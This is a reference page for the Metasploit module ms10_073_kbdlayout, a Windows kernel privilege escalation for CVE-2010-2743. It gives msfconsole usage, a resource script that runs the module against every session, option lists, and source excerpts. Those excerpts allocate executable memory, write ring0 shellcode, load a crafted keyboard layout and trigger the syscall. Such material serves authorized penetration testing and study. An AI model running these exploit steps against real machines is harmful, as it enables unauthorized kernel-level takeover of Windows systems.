Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation - Metasploit


This page contains detailed information about how to use the post/windows/escalate/ms10_073_kbdlayout metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation
Module: post/windows/escalate/ms10_073_kbdlayout
Source code: modules/post/windows/escalate/ms10_073_kbdlayout.rb
Disclosure date: 2010-10-12
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2010-2743

This module exploits the keyboard layout vulnerability exploited by Stuxnet. When processing specially crafted keyboard layout files (DLLs), the Windows kernel fails to validate that an array index is within the bounds of the array. By loading a specially crafted keyboard layout, an attacker can execute code in Ring 0.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/escalate/ms10_073_kbdlayout

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/escalate/ms10_073_kbdlayout
msf post(ms10_073_kbdlayout) > show options
    ... show and set options ...
msf post(ms10_073_kbdlayout) > set SESSION session-id
msf post(ms10_073_kbdlayout) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/escalate/ms10_073_kbdlayout")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/escalate/ms10_073_kbdlayout post exploitation module looks in the msfconsole:

msf6 > use post/windows/escalate/ms10_073_kbdlayout

msf6 post(windows/escalate/ms10_073_kbdlayout) > show info

       Name: Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation
     Module: post/windows/escalate/ms10_073_kbdlayout
   Platform: Windows
       Arch: 
       Rank: Normal
  Disclosed: 2010-10-12

Provided by:
  Ruben Santamarta
  jduck <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module exploits the keyboard layout vulnerability exploited by 
  Stuxnet. When processing specially crafted keyboard layout files 
  (DLLs), the Windows kernel fails to validate that an array index is 
  within the bounds of the array. By loading a specially crafted 
  keyboard layout, an attacker can execute code in Ring 0.

References:
  OSVDB (68552)
  https://nvd.nist.gov/vuln/detail/CVE-2010-2743
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/MS10-073
  http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1
  https://www.exploit-db.com/exploits/15985

Module Options

This is a complete list of options available in the windows/escalate/ms10_073_kbdlayout post exploitation module:

msf6 post(windows/escalate/ms10_073_kbdlayout) > show options

Module options (post/windows/escalate/ms10_073_kbdlayout):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/escalate/ms10_073_kbdlayout post exploitation module:

msf6 post(windows/escalate/ms10_073_kbdlayout) > show advanced

Module advanced options (post/windows/escalate/ms10_073_kbdlayout):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/escalate/ms10_073_kbdlayout module can do:

msf6 post(windows/escalate/ms10_073_kbdlayout) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/escalate/ms10_073_kbdlayout post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/escalate/ms10_073_kbdlayout) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<WINVER> is not vulnerable.

Here is a relevant code snippet related to the "<WINVER> is not vulnerable." error message:

50:	        vuln = true
51:	        break
52:	      end
53:	    }
54:	    if not vuln
55:	      print_error("#{winver} is not vulnerable.")
56:	      return
57:	    end
58:	
59:	    # syscalls from http://j00ru.vexillium.org/win32k_syscalls/
60:	    if winver =~ /2000/

Unable to open <DLLPATH>

Here is a relevant code snippet related to the "Unable to open <DLLPATH>" error message:

183:	    # dll_fd = session.fs.file.new(dllpath, 'rb')
184:	    # Instead, we'll use railgun to re-open the file
185:	    ret = session.railgun.kernel32.CreateFileA(dllpath, GENERIC_READ, 1, nil, 3, 0, 0)
186:	    print_status(ret.inspect)
187:	    if ret['return'] < 1
188:	      print_error("Unable to open #{dllpath}")
189:	      return
190:	    end
191:	    hDll = ret['return']
192:	    print_status("Wrote malicious keyboard layout to #{dllpath} ..")
193:

Unable to allocate RWX memory @ 0x%x

Here is a relevant code snippet related to the "Unable to allocate RWX memory @ 0x%x" error message:

195:	    mem_base = addr & 0xffff0000
196:	    mem_size = (addr & 0xffff) + 0x1000
197:	    mem_size += (0x1000 - (mem_size % 0x1000))
198:	    mem = session.railgun.kernel32.VirtualAlloc(mem_base, mem_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
199:	    if (mem['return'] != mem_base)
200:	      print_error("Unable to allocate RWX memory @ 0x%x" % mem_base)
201:	      return
202:	    end
203:	    print_status("Allocated 0x%x bytes of memory @ 0x%x" % [mem_size, mem_base])
204:	
205:	    # Initialize the buffer to contain NO-OPs

Unable to fill memory with NO-OPs

Here is a relevant code snippet related to the "Unable to fill memory with NO-OPs" error message:

204:	
205:	    # Initialize the buffer to contain NO-OPs
206:	    nops = "\x90" * mem_size
207:	    ret = session.railgun.memwrite(mem_base, nops, nops.length)
208:	    if not ret
209:	      print_error("Unable to fill memory with NO-OPs")
210:	      return
211:	    end
212:	
213:	    # Copy the shellcode to the desired place
214:	    ret = session.railgun.memwrite(addr, ring0_code, ring0_code.length)

Unable to copy ring0 payload

Here is a relevant code snippet related to the "Unable to copy ring0 payload" error message:

211:	    end
212:	
213:	    # Copy the shellcode to the desired place
214:	    ret = session.railgun.memwrite(addr, ring0_code, ring0_code.length)
215:	    if not ret
216:	      print_error("Unable to copy ring0 payload")
217:	      return
218:	    end
219:	
220:	    # InitializeUnicodeStr(&uStr,L"pwn3d.dll"); -- Is this necessary?
221:	    pKLID = mem_base

Unable to copy unicode string data

Here is a relevant code snippet related to the "Unable to copy unicode string data" error message:

222:	    pStr = pKLID + (2 + 2 + 4)
223:	    kbd_name = "pwn3d.dll"
224:	    uni_name = Rex::Text.to_unicode(kbd_name + "\x00")
225:	    ret = session.railgun.memwrite(pStr, uni_name, uni_name.length)
226:	    if not ret
227:	      print_error("Unable to copy unicode string data")
228:	      return
229:	    end
230:	    unicode_str = [
231:	      kbd_name.length * 2,
232:	      uni_name.length,

Unable to copy UNICODE_STRING structure

Here is a relevant code snippet related to the "Unable to copy UNICODE_STRING structure" error message:

232:	      uni_name.length,
233:	      pStr
234:	    ].pack('vvV')
235:	    ret = session.railgun.memwrite(pKLID, unicode_str, unicode_str.length)
236:	    if not ret
237:	      print_error("Unable to copy UNICODE_STRING structure")
238:	      return
239:	    end
240:	    print_status("Initialized RWX buffer ...")
241:	
242:	    # Get the current Keyboard Layout

Unable to GetKeyboardLayout

Here is a relevant code snippet related to the "Unable to GetKeyboardLayout" error message:

240:	    print_status("Initialized RWX buffer ...")
241:	
242:	    # Get the current Keyboard Layout
243:	    ret = session.railgun.user32.GetKeyboardLayout(0)
244:	    if ret['return'] < 1
245:	      print_error("Unable to GetKeyboardLayout")
246:	      return
247:	    end
248:	    hKL = ret['return']
249:	    print_status("Current Keyboard Layout: 0x%x" % hKL)
250:

Unable to copy system call stub

Here is a relevant code snippet related to the "Unable to copy system call stub" error message:

296:	
297:	    # Copy this new system call wrapper function into our RWX memory
298:	    func_ptr = mem_base + 0x1000
299:	    ret = session.railgun.memwrite(func_ptr, bytes, bytes.length)
300:	    if not ret
301:	      print_error('Unable to copy system call stub')
302:	      return
303:	    end
304:	    print_status("Patched in syscall wrapper @ 0x%x" % func_ptr)
305:	
306:	    # GO GO GO

Unable to CreateThread

Here is a relevant code snippet related to the "Unable to CreateThread" error message:

304:	    print_status("Patched in syscall wrapper @ 0x%x" % func_ptr)
305:	
306:	    # GO GO GO
307:	    ret = session.railgun.kernel32.CreateThread(nil, 0, func_ptr, nil, "CREATE_SUSPENDED", nil)
308:	    if ret['return'] < 1
309:	      print_error("Unable to CreateThread")
310:	      return
311:	    end
312:	    hthread = ret['return']
313:	
314:	    # Resume the thread to actually have the syscall happen

Unable to ResumeThread

Here is a relevant code snippet related to the "Unable to ResumeThread" error message:

312:	    hthread = ret['return']
313:	
314:	    # Resume the thread to actually have the syscall happen
315:	    ret = client.railgun.kernel32.ResumeThread(hthread)
316:	    if ret['return'] < 1
317:	      print_error("Unable to ResumeThread")
318:	      return
319:	    end
320:	    print_good("Successfully executed syscall wrapper!")
321:	
322:	    # Now, send some input to cause ring0 payload execution...

Unable to free memory @ 0x%x

Here is a relevant code snippet related to the "Unable to free memory @ 0x%x" error message:

337:	  ensure
338:	    # Clean up
339:	    if mem_base
340:	      ret = session.railgun.kernel32.VirtualFree(mem_base, 0, MEM_RELEASE)
341:	      if not ret['return']
342:	        print_error("Unable to free memory @ 0x%x" % mem_base)
343:	      end
344:	    end
345:	
346:	    # dll_fd.close
347:	    if hDll

Unable to CloseHandle

Here is a relevant code snippet related to the "Unable to CloseHandle" error message:

345:	
346:	    # dll_fd.close
347:	    if hDll
348:	      ret = session.railgun.kernel32.CloseHandle(hDll)
349:	      if not ret['return']
350:	        print_error("Unable to CloseHandle")
351:	      end
352:	    end
353:	
354:	    session.fs.file.rm(dllpath) if dllpath
355:	  end

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References

See Also

Check also the following modules related to this module:

Authors

  • Ruben Santamarta
  • jduck

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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